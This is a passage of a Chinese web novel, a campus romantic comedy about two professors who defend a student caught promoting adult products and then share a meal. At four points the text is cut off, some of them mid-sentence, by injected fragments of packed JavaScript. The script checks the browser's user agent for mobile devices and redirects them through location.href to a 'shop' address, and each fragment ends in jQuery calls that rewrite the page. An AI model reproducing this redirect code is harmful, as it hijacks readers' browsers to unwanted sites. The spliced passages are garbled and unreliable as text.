l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093560|195550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 社会学问题是……‘我爱你吗’。” 贺大教授的声音竟然有点发抖。 而江无远完全误会了,还很同情他,觉得不擅长讲课的老师真可怜,贺鸣云对着她一个人试讲都这么紧张,对着那么多学生可怎么办啊。 “‘我爱你吗’这个问题很模糊,很难回答,因为比起事实,‘爱’更偏向一种感觉。就像很多社会学问题,我们能粗略地察觉到现象和问题,也能根据个人的观察和经验找到一些解释。但我们很难摆脱个人偏见,概括地、科学地去解释这些社会问题。” 贺鸣云思考片刻,选了一个他觉得最好理解的例子: “比如,为什么近几年生育率降低了?这就是一个社会现象,一个社会学研究问题。有同学会说,是因为年轻人不愿意结婚了;有同学会说,是因为生活成本太高,养不起孩子,等等。但这些回答,并不足以解释生育率下降的问题。” 哇,江无远看着他,有些意外之喜。天才就是天才,稍一点拨,就开始上道了,他这不是讲得挺好的吗。 贺鸣云也逐渐进入状态,不再尴尬。 “回到‘我爱你吗’这个问题,我们可以用到不同的研究方法。” “我们可以做定量调查,设计问卷,考虑哪些指标能衡量爱,比如,你们会共度多少时间,你是否想更了解对方,你是否期待对方秒回信息?” “但是,爱是私人化的,爱情并不只有一种模式。所以我们还可以做个案的深度访谈,通过质性研究加深对爱的表达方式的认识。” “现在的情侣会通过微信等app聊天,我们还可以做文本分析,分析人们如何利用日常交流来维系和表达爱。” “其他方法我不再赘述。综合刚刚提到的三种方法,如果我们有一份证明爱的表达的表格,一份对方感到被爱的访谈记录,以及对双方身体语言、聊天记录分析得出的正向结论,那么也许,我们就能得出“他爱她”的结论。” 江无远专注地看着他,贺鸣云心跳得有点快,清了清嗓子,总结道: “当然,这其实并不算一个社会学问题,我只是打个不太合适的比方,便于你们理解。从社会学的角度来看,关于爱情,我们会研究,当代社会是如何定义‘爱’的?社交媒体、性别观念如何塑造了我们感知‘爱’的方式?这类的问题。” 被江无远盯着,贺鸣云尴尬而紧张地咽了咽口水:“江老师,你觉得怎么样?” “我觉得非常好!贺教授,恭喜你,你终于在课堂上也开始展现个人魅力了。” “……”贺鸣云缓慢地眨了眨眼睛,“什么个人魅力?” ***** 这一问,把江无远问住了。 我刚刚说的是“个人魅力”吗?不是吧,我想说的是“个人实力”吧? 搞笑,贺鸣云这根老朽木能有什么个人魅力?纯属口误。 魅力……魅力…… 他今天怎么穿了件领口这么低的T恤啊? 这、这,这光天化日朗朗乾坤,这,这T恤也太修身了吧? 江无远情不自禁,带着批判的眼光,又多看了两眼贺鸣云的胸肌……胸肌下的学者之心。 对、对,她只是在感慨贺鸣云一心向学的学术精神! 这颗学者心可真大,对了说到大…… 啊不是,她的意思是,这颗学者心可真是一片赤诚啊! 贺鸣云毫不知情,凑近了点,问:“江老师,你脸怎么这么红?热吗?我把空调再调低点?” 江无远平时伶牙俐齿,此时因色迷心窍,眼神躲闪、支支吾吾。“额……学校规定,最低开26度……” 贺鸣云一双大眼睛关切地望着她。 “我没事,就是……今天天儿真热哈,哈哈……” 她顾左右而言他之时,手机终于震动起来,江无远拿起手机,屏幕显示“徐院长”来电。 还得新传人help新传人!江无远如释重负:“贺教授,你稍等,我出去接个院长的电话。” “好。” 没过两分钟,江无远回来了。接完电话,刚才那点绮思早已消散,只剩下青年教师又当爹又当妈、要发论文还得管娃的烦: “抱歉,贺教授,我们今天先到这里吧?我得马上去趟教务处,学生被抓了。” “被抓了?怎么了?” “别担心,不是什么大事,”江无远的表情一言难尽,“学生在学校里卖成人用品,被逮到了。” 11. 成人用品 去年,江无远开了一门选修课《社交媒体与新零售》。在课上,她鼓励学生利用社交媒体做小生意,主要目的是让学生切身体会在新零售行业,如何利用社交媒体链接消费群体、扩宽销售渠道。 次要目的嘛,江无远不得不承认,新传的就业前景并不乐观。她希望能帮学生开拓就业思路,毕业了找不到所谓的“稳定工作”,也还能试试靠直播带货、社群营销、做自媒体,多些手段糊口。 学生们思维活络、花样百出,有在朋友圈、微信群卖穿戴甲的,有在小红书上宣传老家水果的,还有两个女生把穿搭账号做了起来。 其中,最令人耳目一新的是肖飞飞。 肖飞飞做了个视频号,科普两性生理卫生知识,再附带三十秒左右的情趣用品介绍广告,带货成绩斐然。 成人用品行业静水流深,市场规模已经做到了近2000亿。抖音、美团、饿了么、京东等强势电商平台都陆续上线了成人用品零售板块。 在激烈的市场竞争中,肖飞飞独树一帜,选择了“科普分享吸粉+精致选品固粉”的方式进行营销。 在课堂最后的作业展示环节,肖飞飞在讲台上侃侃而谈: “小伙伴们,据我研究,各大平台各有特色:有的平台主打‘隐私’,确保隐私发货。大家知道,现在快递都不送上门了,要是在快递驿站碰到crush,被crush发现你买的是什么,那就尴尬了。” 有学生低声在笑。 “有的平台主打‘品质’,对入驻商家的审核非常严格,售后也很到位;还有的主打‘快捷’,口号‘30分钟送到门口’——我个人认为这个是最有吸引力的,毕竟,你们懂的,再不快点,药效就过了。” 学生哈哈大笑。 “本人作为新传尖子生,自然不会盲目加入他们的混战。本人另辟蹊径,结合专业知识,走精致生活赛道。大家请看——” 肖飞飞点开一个她制作的短视频。 江无远犹豫了一下,考虑要不要阻止肖飞飞当众播放视频。她本人不会戴有色眼镜看成人用品行业,但班上还有几个男同学,她不确定是否应该放任飞飞在讲台上大讲特讲成人用品。 肖飞飞似乎听到了江无远的心声,朝她狡黠地眨了眨眼—— 原来视频里,她推销的不是情趣用品,而是女性产后用品:产妇卫生巾、产妇内裤、哺乳文胸等等。 在视频中,肖飞飞介绍了女性生育后的常见后遗症,并介绍了各个产品,最后,她还放上了凯格尔运动的视频链接,供观众跟练。 肖飞飞关掉视频,开玩笑说:“同学们,有点失望吧?想看的不是这个吧?” 又是一阵笑声。 肖飞飞收起笑容,说:“小伙伴们,这正是我的特色。我卖的不止你们刚才在想的‘情趣用品’,我卖的是广义的‘成人用品’。谁规定了成人用品就只是满足成年人性需求的商品?我们需要的不止那几十分钟的床笫之欢,而是持续几十年的、安心的、亲密的、舒适的成人生活。” 肖飞飞突然伸手,指向坐在第一排的韩博宇(性别男),问他: “韩博宇同学,请问,假如你结婚了,你会买避孕类商品吗?” 韩博宇点点头。 “那其他情趣产品呢?” 韩博宇犹豫了下,说:“和老婆商量着来,也许会。” “假如你老婆生小孩后,不愿意和你发生关系,你怎么想?” 韩博宇慢慢说:“看了你刚刚放的视频,我能理解她不想有性生活。” “为了让她过得舒适,你会给她买我刚刚介绍的产品吗?” 他没有犹豫,答道:“我会的。” 肖飞飞满意地点点头:“不错,我宣布你有资格谈恋爱。” 韩博宇笑笑:“谢谢,我很荣幸。” 江无远也默默笑了,她真是多余操心了。 肖飞飞总结陈词:“通过社交媒体,我说服客户群体,你购买的不止一款产品,还是一种健康的、悦己的生活方式。新零售就是几大平台卷价格、打商战吗?我不这么认为,我觉得,社交新零售给了买卖双方一个机会,我们可以建立情感链接,在交流和反馈中,卖方升级产品和服务,买方提升用户体验,最终,我们一起让市场环境、社会氛围变得更好。” 江无远眼前一亮,给肖飞飞打了最高分。 ***** 一年过去,江无远没想到肖飞飞还在做这门生意,更没想到她会被教务处抓到。 还好肖飞飞脑子灵光,一被叫去教务处,就赶紧发了几条微信给江无远,解释来龙去脉: 肖飞飞开的是小号,视频不露脸,又只是帮忙带货,本来是不会掉马甲的。但她前阵子心血来潮,接洽了本地的一个新兴成人用品品牌,还入了点股。 成了小股东,心态就不一样了,自然要把生意做大做强。肖飞飞先在大学城试水,私下小范围做了些“集赞送新品”的推广活动。 第一站就在冰洋大学。某学妹一个大意,朋友圈忘了屏蔽家长。 家长一拷问,听说竟然是大学学姐在做情趣用品买卖,气得祖坟冒红烟,直接投诉到了教务处,要求学校严肃处理。 江无远又好气又好笑。 一个富二代肖飞飞放着家业不继承,大暑假的,这么热的天,在学校吭哧吭哧推广商品;一个大学生学妹,发集赞朋友圈也这么实诚,都不带屏蔽人的;还有那对神秘父母,这么点屁事要揪着不放,清朝穿越过来的? 总结:都是神人。 而在神人辈出的大学校园,教务处王仁才,众望所归,位列神人之首。 王仁才是教务处综合办公室主任,在位十年,主要业绩包括: 1、为难来办学籍证明、大学四六级英语成绩单的学生; 2、开发了史上最难用的教务系统,为难线上选课的学生; 3、为难后勤人员,人事、设备、安保的管理和服务永远拉垮。 以及: 4、恶心所有老师: 江无远一赶到综合办公室,王主任就劈头盖脸开始了: “江老师,你们年轻老师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093561|195550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是了不得,搞教学创新,搞到让学生卖情趣用品了!” “徐院长,你们不愧是新闻传播学院,要搞个大新闻,让学生家长告我们冰洋大学校风不正?” 徐院长面色不虞,看了江无远一眼。 江无远蹭到肖飞飞边上,在沙发上坐下了。让徐院长做第一道防护屏障吧,领导先上,她殿后。 肖飞飞旁边还坐着一个年轻的女孩,留着波波头,戴一副圆框眼镜,看起来很老实,不像肖飞飞的合伙人。 江无远低声问肖飞飞:“你们一起的?” 肖飞飞摇摇头:“不是。这位是钟学姐,她是我们学校的博士,我的忠实顾客。” 博士淡然解释:“我听说飞飞因为这件事被抓了,来声援她。” 江无远说实话,不太理解这个脑回路。但依然朝博士同学点点头,小声说:“别怕,小钟同学,我会想办法的。” 博士愣了愣,说:“谢谢老师。我本来就不怕,学校乱搞飞飞,应该是学校心虚。” 肖飞飞刮目相看:“学姐义气,小妹佩服!” ***** 徐院长和王主任好说歹说,眼见王主任面色稍缓,江无远起身打圆场: “王主任,我先跟您道个歉,给您添麻烦了。学生已经意识到了错误,刚刚跟我保证,不会再在学校当众搞推广活动了。” 她这个“当众”一词用得巧妙,给肖飞飞预留了充足的“私下”运作空间。 王主任哼了一声,表示勉强接受。 “课程设置方面,我会严肃反省,不能只想着求新求变,忽视了冰洋的校风校纪,忽视了教务处对老师提出的行为准则要求。我一定警钟长鸣,向王主任学习,行得端坐得正!” 王主任点点头:“嗯。年轻老师犯点错误,也是可以理解的,以后多注意。” 江无远态度诚恳:“学生家长那边,我也会做好解释工作,不会扩大这件事的影响。” 徐院长又接着美言了几句,把王主任哄到位了。 王仁才勉为其难道:“行吧,你们两个,我是看在徐院长和江老师的面子上,才给你们一个改过自新的机会。学生学生,不仅要学知识,还要学做人!女孩子家家的,怎么能干这种有伤风化的事情?” 肖飞飞是个小人精,深谙懂人情世故,知道她卖卖乖,这事儿就能这么过去了。因此忍着没发作,故作乖巧,还不时点点头,装出一副楚楚可怜、虚心接受的好学生模样。 江无远也不爱听王仁才的封建发言,看似倾听,实则放空。她的大脑在努力走神,以冲淡老登发言带来的恶心,却不知怎么地,想到了贺鸣云。 贺鸣云读书的时候是什么样的?八成也是个小犟种,在这种场合,肯定也是绝对不会服软,要和王主任据理力争的。 江无远有点心疼肖飞飞的忍让,又略感庆幸,她的学生不是贺鸣云那种完全不管气氛、会血战教务处主任的人—— “你说完了没?说完了我说,我有意见。” 在江无远诧异的目光中,博士同学站起身来。 12. 买卖自由 在江无远诧异的目光中,博士站起身来。 她还先理了理衣服下摆,才镇定自若开始演讲: “王仁才主任,你刚才的言行有三点不妥。第一,你不尊重校规。校规虽然不是法律法规,但也是成文文件,不是儿戏。出售成人用品,并没有违反校规。你擅自扩大校规惩处范围,是一种越权行为。” “第二,你不尊重隐私。这本来是学生家长和教务处之间的纠纷,理应由校方和家长先交涉。就算要和学生谈话,也应该在保障学生隐私的前提下进行。但你不仅叫来了与此事情关系不大的学院院长,还在办公室大声议论。最过分的是,你向学生家长透露了肖飞飞同学的个人信息。因为你的不严谨,肖飞飞同学的隐私受到了严重侵害。” “第三,你不尊重学生。你是一个有权势的男性领导,在其他教职工到场之前,单独对女学生进行训话,并使用了‘有伤风化’‘不要脸’等过激表达。这是严重的霸凌和性骚扰,我相信学校不会姑息这种行为。” 由于过于震惊,竟然没有人想到要阻拦她一下,博士就这么水灵灵地三杀王仁才。 江无远尤为震惊,她主要震惊的是,这副藐视权威的模样,这理不直气也壮的架势,这淬了毒的小嘴,怎么那么像贺鸣云? 现在不流行谦谦君子了?现在搞学术的,都是这一款? 王仁才显然被激怒了,脸色由白转红再转青,顿顿上前两步。 “你谁啊你?有没有教养,怎么跟老师说话呢?” 江无远赶紧伸手拦他,挡在两人中间。 “王主任,有话好好说,吓唬小孩子干嘛?” 剑拔弩张之时,博士突然看向门口,淡定的脸上出现了一丝裂痕,语气也有一丝波动:“你怎么来了?” 江无远往门口一看,愣住了。 好了,大小犟种聚会。 贺鸣云来了。 ***** 江无远想问“你来干嘛”,但故事才进行到第十二章,她跟贺鸣云没那么熟,还没到报备行程的时候。 好在徐院长先问了:“贺教授?你来做什么?” 看看,不愧是新闻传播学院的领导,颇有记者风范。 贺鸣云指了指博士:“这个是我带的博士生。” 难怪呢,简直一个模子刻出来的。江无远想笑,忍住了。 贺鸣云站到江无远身边,语气平淡地对王仁才说:“王主任,我来接我学生。” 王仁才气得跳脚:“你学生,你学生?贺教授,你知道她干嘛了吗?你听到她刚刚说什么了吗?” 贺鸣云实事求是:“我刚来,没听全。要么让我学生再说一次,我听听看?” 王仁才被贺鸣云噎了下,但又不好直接对他发作。 贺鸣云最近正在做一个国家社会科学基金项目,申报试点工程能加好几分,校领导很重视。跟靠工龄长勉强混成院长的徐院长不一样,贺鸣云科研实力过硬,又是个卷王,未来大概率会卷出一番成就。 更何况,王仁才还隐隐听说,某副厅级干部的女儿,法学院的刘老师,对贺鸣云有点意思,这小子还有希望天花乱赘、一步上位,少走二十年弯路。指不定哪天就成了他的上级,实在不好现在跟他结下梁子。 再说了,贺鸣云的博士生又没参与买卖,就是来凑个热闹,确实也没必要非要跟贺鸣云过不去。 王仁才左思右想,决定还是捏江无远这颗最年轻、职称最低的柿子: “江老师,你看看你教的学生,不知羞耻!把其他学院的学生都带坏了。” 江无远平时的好脾气本就是装的,骗一键三连的温柔知性人设罢了,私底下她可是抽奖喝汤都来的。此时冲冠一怒为学生,拍案而起: “怎么不知羞耻了?你家都生三胎了,我学生还未婚未育,谁不知羞耻啊?” 贺鸣云被她吓了一跳,默默后退了半步。 “情趣用品不是洪水猛兽,不是违禁品,它跟零食、玩具没什么区别。难道你不买?你不用?怎么可能,你们结婚都多少年了?” 王主任和徐院长逃避江无远的眼神拷问,不吱声。 她的目光顺势落在贺鸣云脸上,贺鸣云不知为何,觉得自己有义务对江无远事事有回应、问问有答复。 “我没结婚,我也没买……”贺鸣云被江无远瞪了一眼,顺势改口,“额,买,买的!成人用品,意思就是,成年人基本都会买,基本。” 江无远用眼神鼓励他继续说。 要他说什么啊?这个领域他不懂啊? 贺鸣云冥思苦想,开始了他的表演:“随着社会发展,我们对情趣用品的认知在发生变化,情趣用品从伤风败俗的淫器,逐渐演变为追求生活品质的生活用品,大众正在对情趣用品去污名化。” 他说得一本正经,王主任脸色铁青,徐院长不知道在想什么,他一会儿看看贺鸣云,一会儿又看看江无远,可能是在嗑CP。 江无远积极响应:“贺教授说得对!各位老师,各位同事,冰洋大学是一所顶尖大学,学术研究、人文氛围、创新精神都走在前列。21世纪了,我们作为接受过高等教育、还在高等教育行业工作的老师,对成人用品的认识不能这么落伍,不能还谈性色变。” 贺鸣云受到鼓励,继续说:“在性别政治领域,有学者认为,情趣用品让女性能够在不依赖男性的情况下获得性愉悦,这挑战了传统的父权制性关系,在解放女性思想方面有革命性的意义。” 贺教授的人设是这样的吗?肖飞飞很困惑,他不是特别凶、特别无聊、特别死板吗? 江无远注意到王仁才的脸色,为避免封建领导破防,顺势做出让步:“但同时,应该注意到,并不能说情趣用品加剧了两性对立,正好相反,有研究是关于现代科技如何渗透两性领域、改善双方体验的。” 贺鸣云略一思忖,说:“嗯,这会让女性思考,我需要什么样的性生活?我需要什么样的伴侣?也会让男性思考,我如何完成对父权制婚姻和性的超越,追求令伴侣双方都满意的关系?我如何成为一个更体贴、开放、有技巧的伴侣?” 江无远心里觉得太遗憾了,贺鸣云怎么会这样?思想水平站在喜马拉雅之巅,情商爱商却处于马里亚纳海沟,可惜了。 她补充道:“而且这还提供了一种新的可能,将两性从欲望中解放,鼓励个体去追求独立、自主、悦己的生活方式,加强身份认同。举个例子,对亚文化社群而言,某些成人用品不仅是一款产品,更是群体身份的物质载体,它关系到亚文化社群内部的信息分享、伦理共识和身份认同。” 王主任和徐院长两个绝望的老直男,茫然无措,对视了一眼。 “你们到底想说什么?” 贺鸣云如梦方醒,被江无远牵着鼻子走,对情趣用品侃侃而谈了半天,这才意识到自己身处何地、面对何人、为何而来。 他尴尬地清了清嗓子,说:“我想说的是,销售推广成人用品是正常的商业行为,买方年满十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093562|195550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 八岁,有完全民事行为能力,交易不涉及欺诈、胁迫——” 肖飞飞插嘴:“而且我还没收钱!” 贺鸣云点点头,接着说:“卖方还没有获利,买方家长的投诉行为站不住脚。教务处不应该为了家长的无理诉求,对学生施加莫须有的罪名。” 博士补充:“就是,我重申一遍,售卖成人用品不属于违反校规行为,不信我马上打印一份校规给你们看。” 贺鸣云瞪了她一眼,博士假装没看见。 江无远已经适应贺鸣云一本正经摆谱、她虚情假意和稀泥的混合双打打法,又摆出了录视频时的营业微笑: “王主任,徐院长,我们的立场是一致的,都不想这件事闹大,给学校和学生带来压力。给学生记过,反而可能激起舆论反应,起到反面效果。” 她看着王仁才,诚恳地说:“王主任,最近是期末,我知道您很忙,帮家长和学生妥善解决了很多麻烦。本来不应该用这种小事麻烦您,但我相信,我们保护学生、大事化小小事化了的初衷是一样的。” 王仁才面色稍缓:“但这件事总得有个交代,我要拿出个处理结果给家长。” 江无远一笑:“我有办法,不仅能解决投诉,还能给校方涨面子。” “什么办法?” “徐院长,您记得上学期,我们学院搞了个宣传性同意和避孕知识的公益活动吗? 王仁才看了徐院长一眼,徐院长表示肯定:“有这么回事,江老师带着学生做的,反响比较好,党政办还发过微信公众号。” “我闺蜜哥哥在第一人民医院工作,一医最近准备举办一个两性知识宣传公益活动,他们来联系我,希望以冰洋大学为圆心,在大学城进行辐射宣传。” 王仁才眼珠子一转,和省级事业单位、社会组织合作举办活动,最高可以给学校试点工作加2分! 江无远递给肖飞飞一个眼神,肖飞飞心领神会,诚恳道:“主任,院长,经过你们的教育,我深深认识到了我行为的不当之处,我只考虑了商业效果,没有意识到可能存在的负面舆论。为了表示歉意和悔改的决心,我会联系厂家,配合医院和学校的联合宣传活动,免费派送避孕套,为活动造势,也算是为减少女大学生意外怀孕做贡献。” 王仁才前两天才处理了一起女生意外怀孕导致休学的案子,想想觉得也是好事,抓着肖飞飞教育了几句,便勉为其难地答应了。 ***** 事情解决,徐院长懒得跟江无远东拉西扯,径直走了。 江无远领着肖飞飞,贺鸣云领着他的博士生,四个人默然无语,走出了教务处。 最先开口的是博士:“你怎么知道的?” 贺鸣云言简意赅:“马院长在教务处的眼线听说了,转告我的。” 博士更言简意赅:“又不是大事,多管闲事干嘛。” 贺鸣云面无表情,但根据江无远对他的初步了解,他应该是在生闷气。 江无远好心调节气氛,对博士说:“小钟同学,怎么这么说?你是贺教授的博士生,你有事当然要找他,他不是来保护你了吗?” 博士“切”了声,嘟囔:“谁知道是来保护谁的。” 她随口这么一说,另外三个人却都听进了心里。 江无远怀疑地看了眼贺鸣云:谁?我吗? 贺鸣云惊恐地错开眼神:什么?在说我吗? 肖飞飞:谁?什么?社会科学学院的杀手,在追我们学院的女神吗? 13. 私人领地 三个人你看看我、我看看你,心里各自上演了一出恨过、爱过、做过(?)的戏码。 终于,现实主义的贺鸣云先开口了:“我学生给你添麻烦了,江老师,谢谢你。不过我的课件,你还没改完。” 他在暗示什么啊? 江无远今天起了个大早,帮贺鸣云研究怎么改善教学质量。看完他的网课视频已经精疲力尽了,偏偏贺鸣云做事习惯一气呵成,害她中午都没吃上口热饭。两人对付着叫了赛百味外卖,吃了跟没吃差不多。吃完又接着和他讨论怎么上课,还没讨论完,又被抓去教务处,为学生销售成人用品的权利呼吁…… 一套组合拳下来,江无远已经累得发晕、饿得发狂,连婉拒的力气都没有了。 贺鸣云见她没吭声,自以为体贴地表示:“你累了吗?我们先去买杯咖啡?” 他想了想,又说:“中午没怎么摄入蔬菜,不太健康。我们再买个沙拉,边吃边干?” 边吃边干? 边吃边干!? 吃草哪里有力气干活啊?真把我当牛马啊?跟你们这些高精力人士拼了! “我饿了,贺教授。我是个正常的人类,我需要吃饭,米饭,你懂吗?大米,rice,东北长粒香。我不仅需要吃饭,我还需要休息,需要睡眠。而且这是暑假,我本来应该在青岛旅游的!” 贺鸣云眨了眨眼,似乎正在艰难地消化她说的话。 博士言简意赅,跟肖飞飞解释:“我导疑似阿斯伯格,但查过了,并不是,只是单纯的情商低罢了。” 肖飞飞看了看还在消化不良的贺鸣云,又看了看一脸班味的江无远,打圆场道:“正好饭点了,我们一起吃个饭吧?我请客,谢谢学姐和两位老师来捞我,给我个机会表达下谢意,好不好?” 她又悄悄跟江无远咬耳朵:“老师,我朋友弄了点好鱼,我等会儿给你拿上去,回头你可以做酸汤鱼吃。” 江无远在医院有人脉,之前帮肖飞飞家处理了个生意上的小麻烦,从那以后,肖飞飞不时总要给她带点吃的。 江无远一听,腰也不酸了背也不痛了,爸妈听说她暑假不回老家,刚寄来些糟辣椒和脆哨,还有现熬好的红酸汤。 “那就别在外面吃了,来我家吃,我给你们做酸菜鱼,”江无远转头问博士,“小钟同学,一起来吗?” 博士毫不犹豫:“来,我爱吃川菜。” 肖飞飞纠正她:“是黔菜。” 江无远属于“云贵川一家人”温和派,说:“川菜我也会做,我给你弄个麻婆豆腐。” “老师我还想吃灯影牛肉丝,你家还有吗?” “有,家里还有刺梨汁,配牛肉丝吃绝了,你们等会儿尝尝。” 贺鸣云暂时未被正式邀请,却听得情难自已,咽了口口水。 肖飞飞看在眼里。 问:有什么东西能快过光速? 答:学生吃瓜、拉郎配的速度。 肖飞飞非常上道,马上说:“江教授,贺教授也一起呀?他也没吃饭呢。” 贺鸣云跟不上年轻人的节奏,突然被点名还吓了他一跳。 “我?我要一起吗?” 说完就无辜地看着江无远, 江无远受不了他的大眼攻势,被他一盯,只觉得贺教授没有碳水的悉心浇灌,瘦得脸皮绷在头骨上,可怜又无助,完全忘了他刚刚本来就打算吃两口菜叶子凑合来着。 “贺教授,你一起来吧?吃完了我们再说网课的事。不过,你是广东人,能吃辣吗?” 贺鸣云抢答:“能!我能。” ***** 他们穿过教学楼,往冰洋大学的北面走。 北边是冰洋大学的旧校区,后来校区扩建,北区便被改成了公寓,一部分作为国际生的宿舍,一部分作为政策房,供大学的老教师暂住。 博士不想挨着贺鸣云,肖飞飞不想错过八卦,两个学生自觉结队,让贺鸣云和江无远走在前面。 果然,贺鸣云首先关心的是校规:“你能租北区公寓吗?我记得公寓是免费租给教龄超过十五年的老教师的,住户没有产权,也不能转租。” “嗯,但学校不会管的嘛,我又不是校外可疑份子,”江无远逗他,“只要你不举报我。” 贺鸣云认真澄清:“我不会举报你的。校区太偏,住学校里是方便很多。” 他仔细想了想,似乎在为江无远的未来操心。 “单身老师可以申请学校的教师公寓,虽然小了点,但可以一直住。你回头可以问问后勤处。” “大教授,我又不是‘百人计划’的引进人才。你们能住单人间,我只能申请双人间。我都几岁了,双人间多不方便啊,所以我才自己租的。” “喔,”贺鸣云觉得一个字的回答稍显冷漠,思考片刻,又补充了一句,“那你加油,评上教授就能申请单人间了。” 江无远说服自己,别跟人机计较。 “说到这个,贺教授,你申请单人间宿舍了吗?” 贺鸣云轻描淡写:“申请了,没申请上。” 江无远脱口而出:“怎么会?张智学那个臭小子都申请上了……” 贺鸣云没说话,江无远后知后觉,她哪壶不开提哪壶说错了话,有点尴尬。 “抱歉……” 贺鸣云很平静:“为什么抱歉?你在正常地和我聊天、分享信息。还是你也觉得,我在跟张智学斗?” 贺鸣云跟张智学斗,怎么可能?张智学连他脚趾头都比不上。 张智学学历平平,被送去某美国大学镀金后,进了一所双非大学当老师。不到两年,因“学术成果突出”,破格引进冰洋大学社会科学学院,成了贺鸣云的同事。 这两年,张智学的学术发表仅次于贺鸣云,甚至在校外讲座、课题合作方面,显出超越贺鸣云之姿。 学生测评方面,张智学更是遥遥领先。他根本不在乎学生能学到什么,上课轻松随意,爱讲俏皮话和学生拉近距离。人有多大胆,期末改卷子也不细看,统统高分,深受学生喜爱。 人文社科专业没有院士。在人文社科领域,最高级别的荣誉是“文科资深教授”。其中最为人熟知的,大概是北京大学的季羡林教授。 而最为冰洋大学教职工熟知的,则是隔壁某知名大学的张远教授。 他是张智学的亲爹。 贺鸣云跟张智学斗,怎么可能?贺鸣云根本斗不过他。 江无远志不在此,经常自嘲“本网红讲师没有搞学术的义务”。 但看到像贺鸣云这样的普通天才试着挑战学阀时,她也会物伤其类,希望他们能赢。 “没人觉得你要跟他斗,你乔某大好男儿,怎么会和这种人齐名!” 贺鸣云茫然地眨了眨眼:“我姓贺。” “不是吧,你连《天龙八部》都没看过?” “不爱看武侠小说,打来打去的没意思。” “……算了。总之你记住,要是你们斗起来的话,我站你这边。” 贺鸣云笑了一下。 “好,我记住了。谢谢。” ***** 北区的老公寓外立面破旧,进门却是另一番天地。 江无远把不到六十方的空间布置得十分温馨,家具是暖色系的,墙上贴满了挂画。窗外树影斑斓,点点光斑照在客厅的木桌上。 桌旁有一株绿植,看着有点眼熟。 桌子腿下垫着的东西也很眼熟。 贺鸣云凑近一看,惊了:“你怎么拿我的论文垫桌子啊?” 江无远轻描淡写:“哦,你们马院长来我们学院串门的时候,给每个老师都发了本,吹嘘你的学术能力呢。所以我说嘛,母凭子贵,张口闭口都是他的大好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093563|195550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿。” 贺鸣云脸有点黑:“你没回答我的问题。” “我又不看,总要让它发挥点价值吧。我直接扔垃圾桶你就高兴了?” 贺鸣云说不过她,气鼓鼓地检查桌上放着的几本书,他倒要看看,江无远不看他的论文,平时都在看些什么。 惊,桌上赫然摆着《我才不想做家务》《希腊别传》《对工作说不》《怪屋谜案》。 江老师都在看些什么杂书啊? 压在最下面的是一本小开本,似乎没有版号,封面设计得十分精美。 这是什么书? 贺鸣云好奇地翻开来看,一翻就看到俩男的在亲嘴,亲得还十分投入、十分激烈,两格亲出了十几个拟声词。 下一格更令人震撼,居然是个发光的圆柱体。 贺鸣云吓得倒退一步,不巧一脚绊到扫地机,一米八八重心高,一下失去平衡,哐当一声摔倒在沙发上。 更不巧沙发边上放着个巨大的脏衣篓,贺鸣云下半身躺在沙发上,上半身直接栽进脏衣篓,呈下腰姿势,动弹不得。 贺鸣云怎么挣扎都起不来,反而在脏衣篓的衣物里越陷越深,呼吸逐渐困难,这该死的不争气的老腰。 唯一庆幸的是两个学生进了书房,研究江老师的书柜去了。江无远也进厨房泡茶去了,没人看到他这么丢脸的样子—— “哎哟!贺教授,你干嘛呢?你等一下——贺教授,来。” 贺鸣云对抗着地心引力,努力往上看,看到江无远正站在脏衣篓边,强忍笑意,微微俯身,朝他伸手。 她憋笑憋得脸都红了。 贺鸣云嘟囔:“其实我……据说倒立对身体有好处……” 江无远憋得脸更红了:“你就赶紧拉着我起来吧,再倒立会儿,脑血管都要裂了。” 贺鸣云眼睛一闭,抓住江无远的手,任由她把他拉了出去。 重新着陆的贺鸣云十分尴尬,没话找话:“你……你不应该把扫地机放在沙发边上……” “好好好,扫地机错了。” “衣服也应该及时洗,现在大夏天的这么热……” “行行行,我今天就洗,”江无远笑着示意他坐下,“你坐会儿,想看随便看,可以借给你,带回家慢慢看。我回厨房了。” 贺鸣云这才发觉,他手里竟然还紧紧捏着那本BL漫画! “我不看!我没有!” 厨房方向传来明显带着笑意的声音: “为什么?这又不是武侠。” ***** 人在尴尬的时候动作会特别多。 贺鸣云坐不住,又站起来在客厅踱来踱去。 